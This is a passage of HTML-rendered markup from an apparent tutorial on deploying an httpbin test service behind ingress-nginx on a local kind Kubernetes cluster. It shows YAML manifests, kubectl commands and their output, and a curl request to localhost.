style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCURRENT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMPLETIONS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDURATION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e35\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are read to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etargetPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ereplicas\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematchLabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etemplate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimagePullPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least.  So apply those manifests:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see two pods come up.  You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNOMINATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADINESS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e48\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.3.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e72\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1.2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eport-forward\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e9000\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:9000\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost:9000/get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"args\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"headers\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Accept\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: 